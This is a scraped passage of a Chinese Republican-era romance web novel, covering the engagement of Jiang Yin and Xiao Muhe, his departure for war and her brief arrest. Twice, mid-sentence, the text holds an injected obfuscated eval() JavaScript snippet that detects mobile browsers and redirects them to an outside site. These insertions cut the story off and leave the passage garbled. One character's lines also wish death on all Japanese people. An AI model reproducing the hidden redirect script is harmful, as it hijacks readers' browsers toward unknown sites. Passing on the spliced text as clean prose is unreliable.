姮音心里想,萧牧河根本不知道自己究竟在慌什么。她在慌,自己并不反感这水到渠成的亲昵,甚至恰恰相反,她喜欢这种怦然的触感。出自本能的亲近和她脑袋里头残存的理智在打架,谁也没法占上风,这才是让她不知道怎么办的原因。 萧牧河问姮音:“离开学典礼还时候,我陪你去校园里走走,熟悉熟悉环境,好不好。” 姮音低着脑袋,点了点头。 两人回到学校,沿着两边种满树木的小道慢慢走着。萧牧河对这里似乎颇为熟悉,引着姮音穿过几处回廊,绕过栽着花草的庭院,指给她看中文系所在的文科大楼,又告诉她图书馆和饭堂的位置。 姮音问萧牧河:“你怎么知道这么多呀,当长官还需要知道这些吗。” 萧牧河说:“华京大学是全国最重要的学府,里头有些经常发表政见的教授都是关注对象,之前金陵来人办事,托我要了份地图,我才知道的。” “原来是这样。” “一般来说,我要处理的公事是别的。” 姮音问:“打仗?” 萧牧河点头:“是啊,因为我肯拼命,运气好活下来,就升得快了。” “听起来很危险。” “总要有人去的,对吧?” 萧牧河从小就泡在军营里,亲近的兄弟里,唯独傅灵毓是被送出去读书,留学西洋,再回来联姻,走从政的路子,其他大多数都把这条命耗在沙场上。 他的世界离连城都没出过几次的姮音有些远,但是她并不怕,尤其在一点一点熟悉萧牧河之后。 路上有不少和她们一样的年轻人,欢声笑语,南腔北调。 在忙碌中短暂放松,两人无言,不知在想什么,有时候走得远,手不经意碰在一起,只是一点点触碰,都让姮音和萧牧河想起来,刚才个短暂的吻。 萧牧河害羞地别开脸,望向道旁随便什么一个东西,姮音却正好悄悄抬眼去看他,却只能看到个侧脸。当萧牧河转回视线,她却抬着下巴,不知假装在眺望什么。目光差一点交错。 正巧对上视线的时候,姮音想起来自己曾经说过些恋爱的学生,是欲盖弥彰的样子,如今自己倒也成了这番光景,不禁笑起来。 萧牧河问道:“因为我开心?” 姮音摇摇头。 他故作不满地切了一声。 姮音说:“一半一半吧。” 他说:“我要求不多,能占一点,就行。” 姮音侧头看他:“你倒是不贪心。” 萧牧河回忆着亲近之人的婚姻,把他们作为参照,用来解释着自己的心:“我表哥傅灵毓样的,就一点不贪心,因为他和妻子从小一起长大,我表弟傅青琅样的,就是贪心过了头,明知道他妻子心里装着的人和事太多,不可能把心都给他,可他还是奢望独占。我就正好处在中间的地方,有些贪心,但并不多,你只要想我,念我,假以时日,就是喜我,爱我。” 姮音静静地听着,末了轻声道:“你真会哄人开心。” 萧牧河笑着,心里却想,若是哪天自己战死沙场,只盼她别太快忘了自己,他便也知足了。可是他不想在这个快乐的日子,惹她伤心,也就别多这个嘴了。 两人并肩散步,有一搭没一搭地说着闲话,聊些无关紧要的琐事,想着未来,聊着过去,好不惬意。 礼堂的钟声响了,悠远地传来。 她抱着书袋,对身旁的萧牧河道:“我这里还要好些时候呢,你先回去吧。” 萧牧河却道:“你没听过一句老话,送佛送到西,我既来了,自然要等你。” 她还想劝两句,他没有给姮音拒绝的机会,“我在外头等你。” 萧牧河本以为她会如往常一般害羞,不敢和他对视。但是这次,她却很平静,没有羞怯,也没拒绝,她的眼神不是冷的,只是像山中潭水,清泠地望着自己。 她说:“那你知不知道,你如果待我太好,我会期待你往后日日都这样对我好的。” 期望是一种可怕的东西,它会逐渐得寸进尺,会吃掉心里属于自己的部分,让对方在自己的灵魂上安家,如同暴烈的君主般,在别人的土地上张牙舞爪地扩张领土。怀着爱情的期望,注定会丢盔卸甲,输得极其惨烈。 萧牧河笑着说:“那我求之不得。” 仿佛等待这句话已等了许久。 姮音也似乎预料到了,必输的结局。 他双手插进西裤口袋,转身大步走了,姮音立在原地,望着他挺拔的身影逐渐走远,这才转身走向大礼堂。 礼堂内已是坐了很多人,新生们大多穿着华京大学的校服,教授们坐在前排,穿着长衫或西服,也在互相说着话。姮音寻了个靠过道的位子坐下,刚落座,礼堂就安静了下来,原来是吴校长登台了。 是一位穿黑色长衫的中年先生,留着一把修剪整齐的胡子,姮音在报纸上见过他的相片,早就知道他是学术界赫赫有名的学者,在政治上也有不小的影响力,现在见到真人,又是不一样的感觉。 先放国歌,大家站起来,齐声和唱。 唱完后,吴校长开始讲话,能从他的官话里听出巅江浙口音,“诸君今日既踏入此门,当思学术乃天下公器,非为一己之私,望诸君砥砺德行,钻研学问,他日学成,不仅为一家之光荣,实为我华夏复兴之基石!” 他把年轻人比作国家之火种,是未来和希望,在年轻人身上寄托着复兴,还有诸多一切可能,赤诚之言让台下的掌声久久不去。 姮音也随着众人用力鼓掌,心中澎湃不已。她清楚自己不是什么大人才,但这里可是华京大学,在座的一定有些人会是栋梁之材,想到这里,她也很是高兴。 下一位发言的是哲学系的杨教授。 她是位年过花甲的老太太,头发灰白,身着深紫色的绸衫,外罩一件黑色毛坎肩。她走上台,声音洪亮。她的谈话简单,不谈空泛大道理,只表明四个字,立德为先。 她说:“诸位求学,首重立心。心正则理明,理明则行笃。切莫因外界纷扰而迷失本心,须得守住德行,方能有所持守,有所作为学问做得再深,若人格有亏,便是无本之木,无源之水,古人云‘士先器识而后文艺’,便是此理,望诸君于书斋之中,勿忘修身之功,于求索之际,常怀敬畏之心。” 最后是一位学生代表,约莫二十出头,穿着学生装,发言简短而富有激情,之前是师长的教诲,那么学生发言就是青春与憧憬。 典礼终了,全体起立,再唱校歌。 散会后,人们离开礼堂。 姮音跟着人群走出去,听着身旁有同学讨论着方才的讲话,也有人 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她拉着姮音坐下,一张嘴能说会道,像是不会累一样,她本就是个热络性子,又比姮音早一年入校,就将系里几位先生的脾气癖好,哪些课紧要,哪些易应付,事无巨细地说与姮音听。姮音认真听着,就看到讲台上几个老师投来似有若无的目光,但他们好像已经见识过许笛这个热锅嘴儿,也就由着她去了。 稍后见面会正式开始,几位师长依次说了些勉励的话,无非是珍惜光阴潜心向学之类,然后大家就开始坐下来闲聊,像是寻常朋友一般。 待到今天最后一项结束,李青才得空又走到姮音身边,问道:“课本和讲义,可都备办齐全了?若有短缺难寻的,我这里有闲置,你拿去用吧。” 姮音说:“都齐备了,劳老师挂心,是萧牧河帮着置办的。” 李青了然,却并不惊讶,“他倒是有心,你们既彼此都有意,这自然是桩好事。” 老师好像是早料到了她和萧牧河会走到一起。而且他们那边已是人人知晓,只瞒着萧牧河一个,他还自己在那儿揣摩试探,想着要如何追求自己,姮音在想要不要告诉她,想了想还是算了,等他自己发现这个惊喜吧。 李青又道:“本来灵毓今日也要来的,只是临时接到调令,需得尽快赴上海任职,月眉自然也是要随他同去的。” 见姮音面露关切,李青笑着说:“她心里颇惦记你,临走前总想再见一面,我瞧你明日下午似乎没课,若得空,就来平安路三十三号的和平饭店一趟,我们小聚片刻,也算为她饯行。” 姮音自然应下。 离开文科大楼,走出校门,时辰不算早了,姮音一眼就看见萧牧河的黑色轿车还停在不远处,他自己坐在车里,阖眼假寐,可是姮音看过去的时候,他十分敏锐,立刻就抬头,颇有闲心地晃了晃手。 姮音小跑着过去,他也下车,替她拉开车门,等她坐稳,才绕回驾驶座。 回家的路上,萧牧河问:“还顺利吗?” 姮音说:“很开心,大学和从前在女校时很不一样,一切都很新鲜,也很好。” 她提起了开学典礼上的讲话,萧牧河听着,时不时给两句回应。他年少时从戎,对搞学问兴趣不大,但她讲的,和平常听的,很不一样。说完以后,姮音又轻声道:“谢谢你今天陪我。” 萧牧河说:“你开心就好。” 回到家,姮音把书袋放在桌上,开始整理自己的学生证,选课单,缴费收据和新买的讲义。她将它们分门别类,打算收进抽屉里。 都收拾完,姮音才摸到了红布包着的银元,她明明记得,这钱是亲手塞进萧牧河口袋里,让他去缴学费的,他没有用这里头的钱,就是他自掏腰包为她付了。 他怎么一边和自己说话,一边偷梁换柱的,她居然没察觉到他在自己眼皮子底下动的手脚。姮音想把这钱还给他,但以萧牧河那骄傲的性格,八成是不会接受的。 姮音想着他的语气,又不知不觉地想起了他的吻,他扑在皮肤上的气息,姮音起了一身鸡皮疙瘩,赶紧把钱扔到抽屉了,像扔掉烫手的红薯。 14. 第十四章 萧牧河回到住处时,天色已晚,他在外连日奔波,成宿成宿的不睡觉,睡着了命都要没了,又强撑着精神逛了一天,早就累透了。老管家迎上来,似有话要说,萧牧河却疲惫道:“天大的事,也等我睡醒了再说。” 他走进内室,衣服脱了一半就倒在了床上,睡得不是很安稳,耳畔好像还响着隆隆炮火,震得太阳穴突突地跳。 好容易安静下来,恍惚间又看见姮音的脸,离得很近,潮湿的呼吸,白皙的皮肤,还有笑起来的时候,弯弯的眼睛,他下意识伸手,马上要触碰到她柔软的唇瓣时,却忽然醒了过来。 窗外亮的刺眼,已经是晌午了。 他揉着酸痛的胳膊走出房门,昨天没脱完衣服,搞得他今天也是说不上的累,高低要再歇好几天才能缓过来。 老管家候在外头,见他出来,忙问:“少爷可要用些吃食?” 萧牧河点了点头,忽又想起昨日,问道:“你昨日想说什么?” 老管家说:“金陵那边来的喜帖,日子都定下了,说是这两日就能送到府上。” 萧牧河皱眉:“喜帖?什么喜帖?我怎么不知道?” 老管家虽说是他从金陵带过来的,可是萧牧河的事,他也不是事事都清楚,萧牧河这么一说,老管家也不知道该怎么说了,少爷本人都不知道,自己多说多错啊。 萧牧河怒不可揭:“趁我出去挨枪子儿,就给我平白定下婚事?哪门子的喜帖,老子不接!” 他这怒发冲冠的架势,恨不得长了双翅膀立刻飞到金陵质问。老管家急忙上前一步,赶紧说:“少爷你不是中意那姑娘么,那你要是不喜欢的话,就和老爷他好好再说?” “哪个姑娘?”萧牧河被他问住了,满肚子都是疑问,“我这几年什么时候回过金陵?” “就是前些日子来咱们这儿的那位东方小姐呀,”老管家看着他,眼里不解,“少爷你亲口说的,想娶人家。” 萧牧河像是被对着脑门来了一榔头,他像是怀疑自己听错了一样,又问:“东方姮音?” 老管家说:“是那位小姐,少爷你若是不情愿,也不是没有办法。” “我哪不情愿?我可太情愿了!” 他左右折返,又在原地转了两圈,情绪无处宣泄,用力抓了抓剃得短短的头发,又问老管家:“这是什么时候的事?” “少说也有七八日了。” “她家里知道?” “正是姑娘家里点了头,才定的。” 萧牧河忽然大笑起来,这小鬼头,怪不得昨天那样害羞,却没有拒人于千里之外,原是早知道了,却偏不说,由着他像个傻子一样,但是他偏偏就愿意当这个傻子,再被姮音耍一万次,他也愿意。 他立马往内室走,急着要换身衣裳。 老管家忙问:“少爷不吃点东西再出去?” 换好衣服,萧牧河头也不回地走了,“还吃什么,再吃媳妇儿都要跑了。” 萧牧河猜测姮音会在上课,驱车赶到华京大学,用证件一路同行。他穿过校道,脚步匆匆地走进文科大楼,急切地寻找着姮音,楼里的教室多半空着,偶有一两间坐着自习的学生,却都不是他要找的人。他在回廊下站了片刻,心下有些焦躁,打算再去姮音家里问问。 快走到楼梯口,就见李青抱着几册书从另一头走来。萧牧河走上前,客客气气唤了声李老师。他虽心急,面上还是要保持客气的,姮音最信任他的李老师,得罪了这位,他还怎么讨她开心,他问道:“您可知道姮音现在何处?我寻她一圈,都不见人。” 李青停住脚步,打量他一眼,才道:“她不在校内,过段时间灵毓和月眉南下,月眉记挂姮音,就在和平饭店设了个小宴,算是饯别,姮音现在已经过去了。” 原她也该去的,结果系里有位先生告假,排好的课无人顶替,只得她来代劳。 萧牧河道了谢,当即就要离去。 “且慢。”李青却叫住他。 萧牧河又站了回来:“您请说。” “有句话,我思量着还是要问一问你,你待姮音,可是真心实意?”萧牧河就要回答,李青又道,“你先别着急回答,但是我有些话还是要说的,你莫要嫌我啰嗦,婚姻大事,非同儿戏,我瞧得出你中意她,但她年纪尚轻,心性单纯,如今又刚入大学,正是求学上进的时候,你若真心待她,就该护着她,让她安安稳稳把书念完,莫要急于一时。我只问你,可能做到不负她?” 萧牧河说:“她会和我一起证明的。” 说不定到时候,李青还是她们的证婚人呢,萧牧河在心里美滋滋地想。 话说完他就赶紧走了,生怕晚了半步。起初几步还稳着,没过多久,他就不自禁地加快脚步,小跑起来。 姮音课业一结束,就按照约定前往和平饭店了。侍者引她到三楼一间西式餐厅,李青尚未到,阮月眉与柳玉声已坐在丝绒座椅上。 阮月眉今日的装束格外新潮,上身是件米白色丝质衬衫,外面是件女式西装马甲,下身配着朱红色长裙,脚上一双低跟皮鞋,尤其是烫得服帖的卷发,让她像是刚从画报上走下来的摩登女郎。 她此刻正懒洋洋地倚在沙发靠背,拨弄着圆形的耳环,她身旁的女子,穿着身姜黄色软缎长旗袍,外罩一件淡蓝色细绒线针织的外套,身上并无多余饰物,只左手一个玉戒指,戴在无名指的位置。 阮月眉见姮音来了,招呼她坐下,顺便给她介绍柳玉声:“你可来了,这位你见过的,珠玉楼的柳老板,柳玉声。” 被称作柳老板的女子已站起身来,朝姮音从容地伸出手,“我记得你。” 姮音忙伸手与她交握,对方身上的温度有些凉,像是在触碰冷玉,柳玉声笑着说:“往后,也算是一家人了。” 她也知道了姮音和萧牧河的婚事。 姮音受宠若惊,忙不迭地说好。 柳玉声眼神很包容,令人安心。她忽而把别人对柳玉声和她先生傅青琅只言片语都组合起来,尤其是昨天萧牧河说的,柳玉声心中装的太多人,可是傅青琅却贪心地想要独占。现在再一次近距离地看到柳玉声,只觉得,她这样的人,让深爱她的人起了想独占的心思,再正常不过了。 但是,通常这么说的话,那也证明,柳玉声的先生自然是没有独占成功的。 阮月眉说:“她要跟我们一起离开北平,我要去上海,她要回金陵,你留在北平,若没什么事,我们可难再见呢。” 姮音说:“不妨事,我有寒暑假,能找你们玩。” 阮月眉开心得不得了:“那真是太欢迎了,我就怕没人陪我玩呢,上海那些阔太太处着真无聊,还是我们小阿音最有意思。” 柳玉声说:“早知是你,我当时就直接让人包好送去了,何必多跑一趟。” 她从身旁座椅上放着的一只小巧手提包里取出一方素白手帕,抽出手帕,里头是只通透莹润的翡翠镯子。她将镯子递向姮音,“一点小意思,算是见面礼。” 姮音看这镯子价值不菲,连忙摆手:“这太贵重了,我不能收的。” 柳玉声说:“有什么不能收,寻常礼物罢了。” 阮月眉笑出声,她说:“我们柳老板打小就金尊玉贵,什么好东西没见过?她送你,你就拿着,你若不要,倒显得小瞧了她似的。” 姮音还是犹豫,阮月眉戏谑道:“回头等柳老板有了小娃娃,你让萧牧河多封些红包,加倍还回来不就是了!” 柳玉声睨了阮月眉一眼,但阮月眉与她相熟,自然不怕,反而又对姮音添油加醋:“你就别推辞了,柳老板向来看缘分的,她要是不情愿,一个银瓜子都扣不出来,她要是愿意,豪掷千金也不过一句话的事。” 被阮月眉这么一说,姮音实在难以再开口推拒,尤其柳玉声虽然淡然自若,却比许多人疾言厉色更令人难以违抗。她不是萧牧河那种军人的强势,姮音说不上来这种感觉,只是看着她的眼睛的时候,不自觉会信服于她。 柳玉声已将镯子给她戴上,才坐下说:“可惜李老师要代课,还得迟些才能到,我们先叫些茶点吧,不必空等她。 阮月眉拉着姮音坐下,兴致勃勃地给她介绍起英式下午茶的各式点心,哪种司康饼可口,哪种三明治馅料清爽。姮音还跟着一起喝了红茶,滋味醇厚,确实还不错。阮月眉又笑道:“好不容易柳老板今日得空,把她家那位傅二爷哄顺遂了才出的门,谁知还是没能聚齐,可惜了。” 柳玉声听了,只轻轻哼笑一声,并不接话。她家里那个,脾气是出了名的难缠,不情愿她出来应酬也是常有的。今日能放行,大抵也是知道若真拦了,反倒要惹得她不快,自讨没趣,故而也只象征性地闹了几句就作罢。 她们二人对姮音的学业颇感兴趣,问了些系里课程和师长风格的事。姮音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389871|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 详尽地答了,说到兴头上,整个人都焕发着光彩,正聊得入神,从外面传来几下敲门声。 阮月眉扬声道:“谁呀?” “是我,萧牧河!” 门外居然是萧牧河,姮音还没反应过来,又听阮月眉应了句:“进来吧。” 门这才被推开。 萧牧河大步走进来,看到坐在两人中间的姮音,却又按捺住焦灼的心情,先朝阮月眉和柳玉声打过了招呼:“阮女士,柳老板。” 阮月眉瞧他那副分明心急火燎却还要硬撑礼数的模样,只装作不见,问道:“表弟啊,今天怎么得空过来?” 萧牧河耐心告罄,顾不得什么周全不周全了,几步走到姮音面前,握住她的手臂将她从沙发上拉起来,一把将姮音揽进怀里,抱得紧紧的。姮音猝不及防,赶紧说:“你这是做什么,你有话好好说,先撒开。” 萧牧河却埋在她发间,激动道:“家里根本没告诉我订婚的事!姮音,我真是高兴!” 姮音瞥见沙发里阮月眉和柳玉声早已默契地侧过头去,各自端着茶杯,一副非礼勿视的模样。她手上加了力道,推着他的腰腹:“你快松开!有什么话出去说,别在这儿,两位姐姐都看着呢!” 沙发那头,阮月眉与柳玉声交换了一个心照不宣的眼神。 阮月眉还嫌火不够大似的:“哎呀,我可什么都没看见的。” 萧牧河这的手臂松了些许,却仍不肯放开,只低头看着她烧红的脸颊,然后才慢慢松开,拉着姮音的手,一路穿过饭店的回廊,直走到楼后一处僻静的小花园里。 园中无人,安静的很。 姮音挣了挣手,低声道:“你先冷静些。” 她刚说完,萧牧河却忽然俯身,手臂一抄,竟将她整个人横抱了起来。姮音身上还穿着校服,被看到多不好,可是萧牧河还抱着她转了两圈,校服裙摆扬起,她轻呼一声,慌忙伸手去拽,却摸到了他的大手,原来他摁着裙子呢,姮音又收回手,勾着他的脖子,省的抓不稳被他搂出去。 萧牧河停下脚步,将她稳稳托在怀中,望着怀中的人:“从前总有人说我福大命大,枪林弹雨里也能捡回条命,那时我不信这些,如今却信了。” 姮音小声骂他:“你说的好听。” 萧牧河心里冤得慌,他每次说真话都像是说哄人的情话,这怎么能怪他呢。 他把姮音轻轻放下,脚尖一沾地,她就急着要往回走:“我该回去了,她们还在等我” 话未说完,手腕又被握住。萧牧河另一只手捧住她的脸,薄茧,触感温热而粗糙。姮音以为他又要吻她,下意识闭上眼,然而预想中的亲吻并未落下,她只感到他在盯着自己瞧,仿佛要将她的模样牢牢记住。 “我觉得自己真的很幸运。”他轻声道。 姮音睁开眼,正对上他深沉的目光。这一望,竟比方才的亲近更令她心慌。 “你怎么不说点什么?”萧牧河问。 见姮音憋红了脸,萧牧河放下手,说,“罢了,我一个大男人,也不好去搅你们的局,却又舍不得这就走了。” 姮音低着头,说:“那我先回去了。” 萧牧河说:“喜帖这两日就该到北平了,我会亲自送上府,订婚仪式大抵要在金陵办,可以等你放了假再安排,至于婚事,不急在这一时。” 姮音点头:“这样安排很好。” 萧牧河想和她继续说什么,又怕耽误她聚会,就说:“去吧,别让她们等久了。” 姮音转身走了几步,快到门口时,却又回来,走到他面前,伸出双臂轻轻抱了他一下,说:“你也很好。” 不等他反应,姮音松开手,跑到上楼去了,萧牧河害羞地捂住嘴巴,像个石墩子一样愣住了。 阮月眉和柳玉声就在窗户边上看着两个小年轻,依依不舍你侬我侬,阮月眉说,“我十来岁的时候也像她们俩现在这样,可惜咯,现在老夫老妻的。” 柳玉声也就凑个热闹,她坐回去,还在窗边的阮月眉心想,大概她这辈子也没法看到柳老板这么害羞的时候了。 姮音跑上楼,坐在沙发上,抓着裙摆,像个小鹌鹑,阮月眉也不好再打趣,要是把她吓跑了怎么办,谁曾想小姑娘主动问起了金陵,阮月眉说这地方柳老板熟悉,让她讲,柳玉声叹了一声不好也不坏,你得亲自来才行。 姮音想,恐怕有一天她真的会过去。 15. 第十五章 接下来一段时间,萧牧河没有公务在身,应该是之前打了很久的仗,才得到了短暂的休息。他得了空,就常往华京大学里来。 要么借口是家属,要么用职务之便,说来学校有要事,实际上就是等着下课的时候远远看姮音一眼,她经常从文科楼里出来,和几个女同学一道走着,说说笑笑,如此安了心,萧牧河就自己离开了,有时候姮音会看到他,他便笑着招手。 来的次数多了,学校怕影响不好,专门让李青和萧牧河说一说,别让他在校园里那么招摇,惹人议论,但萧牧河是何许人也,他也不辩解自己怎么招摇,也不回绝李青,他对着李青当然态度好得很,出了办公室直接找到让李青做说客的那位主任,放下一句话,下次来,把议论自己的名单交给他,吓得校方再也没提过。 都民国多少年了,谈恋爱的多了去了,有婚约的多了去了,结婚的也多了去了,华京大学可是有些个教授,私下里拈花惹草自诩风流,不去管教他们,反倒让自己一个只远观的退避三舍,萧牧河不认这样的道理。 姮音放学的时候,萧牧河追上来,委屈巴巴地把这件事给姮音讲了,姮音本来想打圆场的,可是在听到他骂人家老黄瓜刷绿漆,她实在没忍住笑了出来。 萧牧河煞有其事道:“我和你说啊,以你这样的标准,品德,样貌,哪一样都是好极了,若是我不在你身边多出现几次,赶明就得有人传我死了。” 姮音笑骂他:“你胡说什么,哪有什么死不死的!” “好,我的错,我不说了。” 萧牧河举起双手,作投降状。 这样一来,姮音也不好意思再让萧牧河消停,他指不定什么时候就要出去打仗,他安安生生的在校园里,姮音就由他去了。次数多了,有的同学好奇地问姮音那是谁啊,追求者吗,许笛就会郑重其事地介绍,这是人家未婚夫,众人恍然大悟。 她开始也羞于和他的关系,不肯详细说明,因为别人看他们的眼神都不像看情侣,就好像他们已经结婚了似的。 有次放学,姮音正与许笛一起走着,商量着去图书馆借两本参考书,萧牧河站在楼外,正望着她这边。 许笛见状就笑着说:“得,正主儿来了,我可不当那碍眼的灯。”说罢就自行先走了。 姮音哭笑不得,许笛总是说自己知情识趣,每次见到两人站在一起,整个人都要冒肥皂泡一样,恨不得拿个胶带给两人缠在一起,按照她的说法,是因为姮音和萧牧河站在一块很养眼。 萧牧河从大衣内袋里取出一个方正正的大红封套,封上撒了金粉,闻起来还有淡淡的香气。他递到她面前,说:“给你的。” 姮音接过,看到这颜色,心下已猜到了几分。打开一看,果然是喜帖。里头有两人的姓名,生辰,籍贯,按照民间的习俗,喜帖到手上,就可以说是半个夫妻了,接下来就是订婚,在政府那盖章,办婚事,这就成了。 其实按规矩,这该由媒人或是他家中长辈送到妈妈手上,萧牧河当然也有自己的说法:“我想着,这原是只关乎你我,与旁人都不相干,第一个拿到它的,就应该是你。” 姮音道:“你倒会挑好听的说。” 萧牧河理所当然:“因为我只会对你说好话,别人想听可是没门。” 姮音把喜帖仔细收好,看他那嘚瑟模样,也不由笑起来。现在和他相处,总是忘记他的身份,忘记他的家世,她和他回到了最初的身份,一个女人和一个男人,因为情爱和婚姻走在了一起,也确实是无关其他。 又是深秋。 北平接连下了几场寒雨,王兰出门采买,回来就有些咳嗽,起初她只说自己是受了风,喝些热茶就好。谁知夜里发起热来,额头烫手,人还强撑着说无事。姮音摸黑起来,点了灯,看她脸色不好,心下着急,天刚亮就去请了大夫。 大夫来看过,说王兰是风寒,开了几帖药。姮音送走大夫,就守在灶前煎药。小砂锅咕嘟咕嘟响着,她拿着蒲扇,轻轻扇着火,药气苦涩,姮音听着屋外滴滴答答,又给自己加了件衣服。 药煎好了,她滤出汤汁把药汤倒在碗里,端到妈妈床前。妈妈坐起身,接过药碗,一口一口喝了,眉头都没皱一下,姮音递上清水给她漱口,又扶她躺下,给她盖好被子。 过了片刻,姮音用手背试了试她额头的温度,还是有些烫。 就在这时,姮音听到敲门声。 她撑伞走到门边,拉开门,萧牧河站在门外,他没有打伞,雨水打湿了他的戎装,雨水顺着他的短发流到下巴上,他没什么表情,脸色是淡然的哀伤。 姮音问他出了什么事,萧牧河把怀里的铁盒子拿出来,说:“这是些治感冒的西药,见效快些,你拿着吧。” 姮音接过盒子,她不晓得他是从哪儿知道的,可是见他脑袋都被浇透了,赶紧把伞举高,遮到他头顶,着急道:“快进来避避雨,擦一擦,你这样要着凉的。” 萧牧河依旧站在秋雨中,眼睛很是悲伤,就这么看着她,让姮音心里发慌。姮音问他:“到底出什么事了?” 他说:“我要走了。” “走去哪儿?”姮音一时没反应过来。 他说:“要打仗了。” 姮音说:“一定会平安回来的。” 她固执地以为,他会一生平平安安的。 “这次不一样。” 他的语气好悲伤,好悲伤,姮音的心也跟着沉,可是萧牧河又说了一句,彻底把她的心扯到底的话:“我不想要耽误你。” 九死一生。 这就是他的未来。 他以前总是侥幸。自己本来做的就是抛头颅洒热血的事,但他还是想着,就算到时候会死在姮音前头,起码也能有几年好日子,就算是最差的情况,死在战场上,她拿着钱,还年轻,也能再嫁。但现在,敌人近在眼前,如果受不住战线,北平沦陷,谈什么安稳,就算拿命去填,也要守住。 萧牧河现在觉得自己怎么这么自私,为了一己之爱,给了她希望,又要亲手把她推开。 姮音问他:“你到底在说什么?” 萧牧河说:“此去凶险,如果我回不来了,你怎么办呢?你还这么年轻,我们只是订了婚,一切还来得及。” 他伸手摸了摸她的脸。 手上的雨水顺着她的脸颊落下。 姮音明白了他的意思,她愤然道:“仗还没打,你就想着退婚了?你是不是早找好了由头,说什么打仗凶险,其实就是想撇下我,好去找别人?萧牧河!我们才刚订婚啊!” 他挣扎道:“我爱你,所以我不能害了你,这次我可能真的会回不来了,你难道还要为我守寡吗?” 这是萧牧河第一次对姮音说,我爱你,罗曼蒂克的表白,为什么却如此痛苦,就好像含着无数的针,每吐出一个音节,就会有针扎在心上,为什么只是望着彼此,就能感受到他的痛,他的眼睛满是不舍,却还是要出说这样残忍的话,他明明活生生地站在这,却好像已经把自己钉在必死的结局。 姮音不要这样的结局。 她丢开伞,上前一步,扑进他湿冷的怀里,紧紧抱住他:“我等你,有人在等着你,所以你一定要回来。” 萧牧河收拢手臂,也抱住她,说:“以前你万般不情愿,现在倒好,成了你不离开我了。” “说什么废话,你说过你运气好,这次也能好好活下来的。”姮音抓住他后背的衣服,仍旧盼望着自己的话可以带给他一点希冀,北平城还有人在等他,他不能不回来,哪怕只有一两分也好,起码不会让他冲着死而去。 萧牧河看着她,雨水顺着他的脸颊流下,滴落在她的额头上。他眼中翻涌着复杂难言的情绪,最终都化为一种深切的、几乎令人心碎的温柔。他低下头,冰凉的嘴唇轻轻印上她的额头,那是一个带着雨水咸涩味道的吻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389872|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郑重而短暂。 萧牧河亲了亲她的额头,纵然万般不舍,还是松开姮音,决绝地离开了。 姮音捡起伞,不知何时,泪留了满面。 她拿着萧牧河送来的药回去,可是妈妈却已经披着衣服站在门口,她赶紧过去,让妈妈进屋,别沾了水,妈妈咳嗽两声,问姮音:“你们方才说的话我都听见了,你说,我是不是做错了?” 姮音说:“他送了西药来,说是见效快,我热上水,你吃下看看效果。” 她说:“阿音,我不想你变成我这样。” 姮音知道妈妈有些后悔把自己说给一个游走在生死边缘的人,今日鲜衣怒马,明日或许就马革裹尸,他家门第高,可是这也是用人命一点点堆起来的。她自己守了寡,个中心酸无人能说,如今眼见女儿可能也要踏上这条老路,怎能不悔。 姮音却说:“妈,你别听他这么说,他就是害怕而已,他一定会回来的。” 妈妈握住她的手,“我这辈子,原也什么都不求了,只求你能安稳一生。” 姮音说:“安不安稳,我说了不算,更何况,我想等他,不是为了什么安稳,你快进去吧,免得病的更重。” 两人进屋去了,姮音让王兰把药吃了,她昏沉睡下,姮音也躺在自己的床上,闭上眼,却都是他哀伤的眼睛,正沉沉地望着自己,搅和得人清梦不再。 他走后,没过多久,仗就打起来了,华北这块,天津河北都遭了殃,炮火连天,听人说走到北平城外,也能听到打枪的声音,城里物价飞涨,谣言一日三变,人心惶惶。 大学里也不得安宁。学生们血气方刚,如何坐得住。打倒日本的横幅挂得到处都是,课堂上讲着古文诗词,窗外却时常传来激昂的口号声,此起彼伏。 这是姮音第一次,如此恨,书本上说道理可以慢慢讲,可是国破家亡之际,哪有什么道理可言,她甚至希望所有的日本人全都死了才好,为什么日本会存在,如果日本不存在的话,就不会打这么久的仗。 这片土地满目疮痍,死尸遍地,多少人因他们这些畜生而死。如果没有战争就好了,可是百姓们根本不知道什么时候是个头。 这日,几个激愤的学生与维持秩序的卫队发生了冲突。推搡之间,不知谁先动了手,场面一下子混乱起来。姮音原本只是站在人群外围看着,推搡之中她被卫兵抓住,和另外几个学生一同带走了。 她被带到警察厅,关在狭小的问讯室里,两个警察负责审她,问题翻来覆去,无非是受了谁的指使,有何目的。姮音也没什么可说的,问到姮音刚订婚不久的未婚夫时,本来还慢悠悠的两个警察一下子慌了神,确认了好几遍是叫萧牧河没错。 这时候,外面一阵喧哗,姮音听着是萧家来要人了。两个警察傻了眼,这还能到警察厅来闹吗,本想再装腔作势一番,说这是北平,又不是金陵,怎么这么大的胆子,结果气势还没撑起来,问讯室的门被从外面打开。 一个看似职位更高的人走进来,对两人使了个眼色,这两个穿着警察制服的男人态度大转弯,恭恭敬敬地把姮音从椅子上松开,笔录也被草草扯出来,扔到了一旁的篓子里,还说道:“误会,全是误会,东方小姐受惊了,您现在可以走了。” 姮音被萧家的人带走,另外关在警察厅的学生也被放了出去,无人解释缘由,警察厅的人只催促他们尽快离开。 